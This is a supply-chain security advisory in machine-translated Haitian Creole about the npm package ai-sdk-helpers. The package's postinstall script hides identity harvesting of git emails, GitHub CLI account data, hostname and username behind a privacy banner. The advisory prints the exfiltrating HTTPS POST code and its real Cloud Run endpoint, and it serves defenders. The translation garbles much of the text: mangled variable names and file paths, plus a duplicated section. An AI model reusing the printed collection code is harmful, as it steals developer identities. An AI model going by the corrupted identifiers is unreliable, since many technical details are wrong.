TL; DR
Yon sèl pake npm, ai-sdk-helpers, prezante tèt li kòm yon zouti pwodiksyon pou Vercel AI SDK a, ki ofri swivi pri, sèvis rezèv founisè, ak asistan difizyon.
Skript enstalasyon li a ouvri ak yon banyè divilgasyon byen poli ki dekri dyagnostik anonim, pwomèt ke pa gen okenn kòd sous, jeton, oswa kalifikasyon ki pral transmèt, onore yon DO_NOT_TRACK opsyon pou refize patisipasyon an, epi lyezon ki mennen nan yon paj règleman telemetri.
Menm script la li idantite git devlopè a, konfigirasyon GitHub CLI a, non òdinatè machin nan, non itilizatè sistèm operasyon an, anyè travay la, ak founisè CI a.
Done sa yo voye kòm JSON nan yon pwen final Google Cloud Run, sa ki kreye yon enkonpatibilite klè ant règleman telemetri ki endike a ak chan reyèl yo kolekte yo.
Pakè a te pibliye an vennde vèsyon nan yon sèl rafale 83 segonn, epi script enstalasyon an idantik okte pa okte nan tout vèsyon ki make yo.
Sèt nan uit vèsyon nou te revize yo pipeline Klasifikatè ML la te bay nòt ki pa konklizyon paske stil banyè konsantman an sanble ak telemetri lejitim.
Nou klase ai-sdk-helpers kòm move ki baze sou koleksyon idantite devlopè a nan moman enstalasyon an ak èsfiltrasyon.
Gravite: wo.
Anatomi enstalasyon an
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } apre enstalasyon fonksyone otomatikman sou npm enstale, anvan yo enpòte nenpòt kòd pibliye nan pake a. Skript la scripts/postinstall.js se la tout konpòtman ki genyen pandan enstalasyon an ye.
Li ouvri ak yon blòk kòmantè ak yon avi ekzekisyon ki ekri nan rejis yon pwojè sous louvri ki pran an konsiderasyon vi prive a:
>Lè ou enstale ai-sdk-helpers, nou fè yon verifikasyon rapid konpatibilite anviwònman an epi nou rapòte dyagnostik anonim... Done yo konplètman anonim — nou kolekte platfòm ou, vèsyon Node ou, ak yon hach yon sèl chemen nan idantifikatè machin ou an. Pa gen okenn kòd sous, jeton, oswa kalifikasyon ki janm transmèt.
Li menm konekte yon pòtay opt-out ki fonksyone, premye kòd ekzekisyon ki nan dosye a:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } mare pòtay sa a an premye se sa ki fè rès la li kòm konsansyèl: yon devlopè ki mete `D_PA_TRAS` Li fini enstalasyon an san fè bri epi li konkli ke pake a onore konvansyon an. Opsyon pou dezabòne a reyèl. Sa li pèmèt, pou tout moun ki pa mete l, se koleksyon ki dekri anba a — pa "platfòm, vèsyon Node, ak yon hach yon sèl chemen" ke avi a nonmen an pi etwat.
Anba pòtay sa a, script la rasanble yon chaj ki ale byen lwen pase deskripsyon sa a.
- *Gidantite t.* rrezoudScmIdantite() tèt `~.gitconfig`,`~.config/git/config`,ak pwojè aktyèl la `.li/konfigirasyon`,analize `[ lasè]` seksyon an, epi li retounen konfigirasyon an commit imèl. Si pa gen okenn fichye konfigirasyon ki bay yon imèl, li retounen nan `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,ak `EAIL` varyab anviwònman. Yon docstring anlè fonksyon an ankadre lekti a kòm yon fason "pou deduplike enstalasyon atravè machin ki posede pa menm moun nan (pa egzanp laptop + CI)" — yon objektif deklare ki mande yon idantifyan ki estab pou chak devlopè, ki se yon commit founiti pou imèl.
- *GKont tHub.* rrezoudGitHubIdentity()` tèt `~.config/gh/hosts.yml` epi `~.config/gh/hosts.yaml` fichye konfigirasyon GitHub CLI a ekri lè yon devlopè otantifye — epi li ekstrè regex `u aè:` epi `emalad:` chan yo. Fichye sa a tou estoke jeton GitHub OAuth la; regex script la vize non itilizatè a ak liy imèl yo espesyalman epi li pa ekstrè jeton an. Afirmasyon "pa gen okenn jeton ... ki janm transmèt" nan banyè divilgasyon an se poutèt sa literalman vre pou chan sa a pandan y ap li epi voye idantifikatè kont ki antoure yo.
- *Hanprent dwèt st ak CI.* Senaryo a kolekte `o.nonòmòt()`,`o.userInfo().non itilizatè`,vèsyon Node a, platfòm ak achitekti a, `ppwosesis.cwd()`,ak yon etikèt founisè CI rezoud pa verifikasyon varyab anviwònman pou uit founisè (Aksyon GitHub, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, ak de drapo jenerik-CI). Lis founisè a li kòm yon envantè kote script la espere egzekite - kokiy entèaktif ak konstriksyon otomatik. pipelinese sanble.
Tout bagay sa yo gwoupe nan yon sèl `dagnostik objè, ak jaden pa-devlopè yo kolekte anba yon `iantite ey ak done lame a anba `rtan epi `ctèks eys, Lè sa a, seriyalize epi transmèt:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Repons lan jete epi tout erè yo vale — yon kòmantè fè remake ke "telemetri pa dwe janm kraze enstalasyon an." Non lame pwen final la kode yon sèvis Google Cloud Run nan `ekòd-lwès1` rejyon.
Twou a se istwa a. Bann lan nonmen twa kategori done — platfòm, vèsyon Node, ak hash idantifyan machin nan. Chaj la voye vrè git yon devlopè. commit imèl, non itilizatè GitHub yo ak imèl yo, non òdinatè machin yo ak non kont sistèm operasyon yo, chemen pwojè yo, ak anviwònman CI yo. Chan ki idantifye yon *pmoun ak kont yo* egzakteman chan divilgasyon an pa mete ladan l.
README a ranfòse ankadreman ki soti nan lòt bò a. Seksyon "Telemetri" li a repete reklamasyon anonimite a epi li lye mo `D_PA_TRAS` o `cnsoledonottrack.com`,paj kominote reyèl la ki dokimante konvansyon pou refize sèvis la — anpren yon vi prive rekonèt standard pou fè avi a li kòm yon bagay woutin.
Timeline
Sa a se yon dekouvèt ki soti nan yon sèl pake ak yon istwa piblikasyon trè kout e trè dans. Pa gen okenn ak kanpay plizyè semèn pou trase — tout seri vèsyon an te pouse nan vitès machin.
| Lè (UTC) | evènman |
|---|---|
| 2026-06-03 20:31:20 | Premye vèsyon (0.1.0) pibliye sou npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Tout 22 vèsyon yo (0.1.0 nan 1.4.2) pibliye nan yon rafale otomatik 83 segonn. |
| 2026-06-04 | Uit vèsyon make pa siyal deteksyon; analiz manyèl konfime koleksyon idantite ak eksfiltrasyon pandan enstalasyon an. Pakè a te rete aktif sou npm nan moman analiz la. |
Fenèt 83 segonn ki travèse 22 vèsyon semantik yo se yon endikatè konpòtman an li menm: nechèl vèsyon an (`01.0`,`01.1`,... `14.2`)prezante sifas yon pwojè ki byen antretni avèk yon istwa lage, pwodui nan yon sèl ekzekisyon script. Script enstalasyon an pa chanje atravè nechèl sa a — gade anba a.
Endikatè konpwomi
Chaj enstalasyon an idantik nan tout seri vèsyon pibliye yo. Yon `dff` f `sripts/postinstall.js` ant vèsyon `0X ' nd vèsyon `1X ' pa retounen okenn diferans; konpòtman an se yon sèl anprent fiks, pa yon chaj ki ap evolye.
Rezo
Fenèt 83 segonn ki travèse 22 vèsyon semantik yo se yon endikatè konpòtman an li menm: nechèl vèsyon an (`01.0`,`01.1`,... `14.2`)prezante sifas yon pwojè ki byen antretni avèk yon istwa lage, pwodui nan yon sèl ekzekisyon script. Script enstalasyon an pa chanje atravè nechèl sa a — gade anba a.
Endikatè konpwomi
Chaj enstalasyon an idantik nan tout seri vèsyon pibliye yo. Yon `dff` f `sripts/postinstall.js` ant vèsyon `0X ' nd vèsyon `1X ' pa retounen okenn diferans; konpòtman an se yon sèl anprent fiks, pa yon chaj ki ap evolye.
Rezo
| Endikatè | Wòl |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Pwen final èksfiltrasyon an ap resevwa demann HTTPS POST ak chaj JSON. Li òganize sou Google Cloud Run nan europe-west1 rejyon an. |
Enfrastrikti leur
| Endikatè | Wòl |
|---|---|
ai-sdk.guide | Paj dakèy pakè a ak sit an dirèk ki sipòte idantite otè "Gid SDK IA" a. |
ai-sdk.guide/telemetry | URL règleman telemetri ki mansyone nan avi divilgasyon an lè enstalasyon an. |
hello@ai-sdk.guide | Imèl otè a deklare nan package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Repozitwa sous ki deklare pa pake a. |
Fichye yo li lè y ap enstale
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[sè]` imel
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` Entènèt liy lòd GitHub laè `emalad
Siyati konpòtman
- – m `penstale ook envoke yon script Node ki vini ak yon pake
- – pòtay pou refize patisipasyon (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_PA_TRAS`)prezante kòm yon karakteristik vi prive, anvan koleksyon idantite
- – tbound HTTPS POST nan yon objè JSON ki gen imèl git, idantite GitHub, non lame, non itilizatè sistèm operasyon an, cwd, ak etikèt CI a
- - script enstalasyon te-idantik atravè yon nechèl vèsyon pibliye rapidman
Atribisyon ak Konpòtman Obsève
Nou pa atribiye anyen plis pase sa pake a ak metadone rejis la anrejistre.
Moun ki responsab antretyen dosye npm lan se kont `a` la.ielsimon`,avèk adrès `aiel@vigilance.security`.Rejis la mete imèl sa a sou lis kòm pa verifye epi idantite kontwòl sous kont lan kòm pa verifye. `p lackage.json`,separeman, prezante otè a kòm "Gid SDK AI a"ello@ai-sdk.guide>`”ak yon paj dakèy `a-sdk.gid` epi yon depo sous anba yon `gòganizasyon `thub.com/ai-sdk-guide`. Domèn imel kont piblikasyon an (`vigilance.security`)ak idantite otè ki nan pake a (`a-sdk.gid`)se diferan domèn.
`Yon an-sdk.gid` ite a ap viv epi li reponn, epi `/ laelemetri ath rezoud — idantite pyèj la apiye pa yon prezans entènèt aksesib olye de yon lyen ki pa fonksyone, sa ki ogmante kredibilite ankadreman pake a.
**Kapasite obsève.** Nan moman enstalasyon an, pake a li idantite devlopè a ak fichye konfigirasyon kont yo, li pran anprent dijital anviwònman lame a ak CI a, epi li transmèt rezilta a bay yon pwen final kontwole pa operatè a, pandan l ap montre yon avi ki dekri yon seri done ki pi limite e anonim. Nou dekri konpòtman sa a; nou pa deklare okenn motif pou li. Lektè k ap evalye pake a — ki gen ladan nenpòt pati ki rekonèt idantite piblikasyon an — ta dwe peze diferans ki ka obsève ant koule done ki deklare yo ak koule done reyèl yo.
Enpak, tandans, ak konsèy pou defansè yo
Ki moun ki ekspoze. Nenpòt moun ki enstale ai-sdk-helpers — dirèkteman oubyen kòm yon depandans tranzitif — egzekite koleksyon an sou machin sa a. Paske deklanchè a se apre enstalasyon, kòd bibliyotèk ki pibliye a pa janm bezwen enpòte pou koule done a fèt; enstalasyon an poukont li sifi. Anviwònman ki gen plis valè yo se estasyon travay devlopè ki gen yon idantite git configuré ak yon CLI GitHub otantifye, ak kourè CI, kote deteksyon founisè CI script la endike koleksyon an espere fonksyone andedan build la. pipelines osi byen ke sou òdinatè pòtab.
Sa li devwale. Se pa sekrè aplikasyon nan ka jeneral la — chaj la santre sou idantite: devlopè a commit imèl, non kont GitHub yo ak imèl yo, non machin nan ak non kont lan, epi chemen pwojè a. Sa se yon precisYon kat jeyografik ki montre ki moun ki te enstale pake a, sou ki machin, nan ki depo, ak anba ki sistèm CI. Pou yon òganizasyon, yon ti ponyen dosye sa yo ansanm ta bay lis enjenyè ak sistèm konstriksyon ki te rale depandans lan — itil kòm yon prekisè pou yon aktivite ki pi siblé, menm si konpòtman pake sa a sispann nan koleksyon ak transmisyon.
Tandans lan: telemetri kòm kouvèti. Zouti devlopè lejitim yo kolekte dyagnostik enstalasyon anonim, ak konvansyon pou fè sa avèk respè — yon avi divilgasyon, yon PA_SWIV onè, yon drapo pou refize patisipe, yon URL règleman — yo byen koni. ai-sdk-helpers repwodui tout kat konvansyon sa yo fidèlman epi sèvi ak yo kòm anbalaj pou koleksyon idantite. Prezans yon banyè konsantman, yon opsyon pou refize itilizasyon ki fonksyone, oswa yon lyen règleman sou enfòmasyon prive pa yon prèv ki montre yon pake merite konfyans; kontwòl sa yo pa chè pou imite. Sèl verifikasyon ki fyab se sa kòd la li tout bon vre ak ki kote li voye l tout bon vre.
Anbalaj sa a genyen tou yon efè mezirab sou triyaj otomatik. Nan tout vèsyon nou yo pipeline revize, kòmantè script enstalasyon an nan langaj senp, non chan estriktire yo, ak pòtay konvansyonèl pou refize patisipasyon an te make kòm telemetri òdinè: sèt nan uit yo te retounen douteu soti nan klasifikatè ML la olye ke move. Siyal ki rezoud anbigwite a pa nan pwoz la — li nan dosye espesifik script la ouvri yo (~ / .gitconfig, ~/.config/gh/hosts.yml) ak destinasyon li voye a. Yon evalyatè, otomatik oswa imen, ki li divilgasyon an epi ki rete la ap rive nan move konklizyon; detèminasyon an dwe soti nan enfòmasyon ki genyen sou sikilasyon done yo.
Gid pou defansè yo:
- Enstale ak script yo enfim pa default — enstalasyon npm –ignore-scripts, oubyen mete inyore-skript=vre in .npmrc epi egzekite etap konstriksyon verifye yo eksplisitman. Sa netralize apre enstalasyon-deklanche koleksyon sou tout tablo a.
- Pa trete kontwòl pou refize sèvis la kòm siyal konfyans. PA_SWIV yon lyen "tcheke" oubyen yon lyen "politik telemetrik" pa di w anyen sou done yon script kolekte lè pòtay la pa configuré.
- Li hook enstalasyon an anvan ou adopte pakè asistans ekosistèm IA yo. Espas SDK IA Vercel la se yon sib k ap evolye rapidman e ki mande anpil konfyans; yon apre enstalasyon ki touche ~ / .gitconfig or ~/.konfigirasyon/gh/ se yon siyal klè kèlkeswa jan yo ekri kòmantè ki antoure yo.
- Siveye sòti nan moman konstriksyon an. Yon HTTPS POST sortan pandan npm enstale, espesyalman pou yon pwen final fonksyon nwaj ki fèk apwovizyone, ou ka obsève li nan kouch rezo a epi li se yon pwen deteksyon solid pou anviwònman CI yo.
- Fè atansyon pou nechèl vèsyon konprese yo. Yon pake ki gen tout istwa vèsyon semantik li parèt nan kèk segonn, avèk yon script enstalasyon ki pa chanje, ap prezante yon istwa antretyen fabrike.





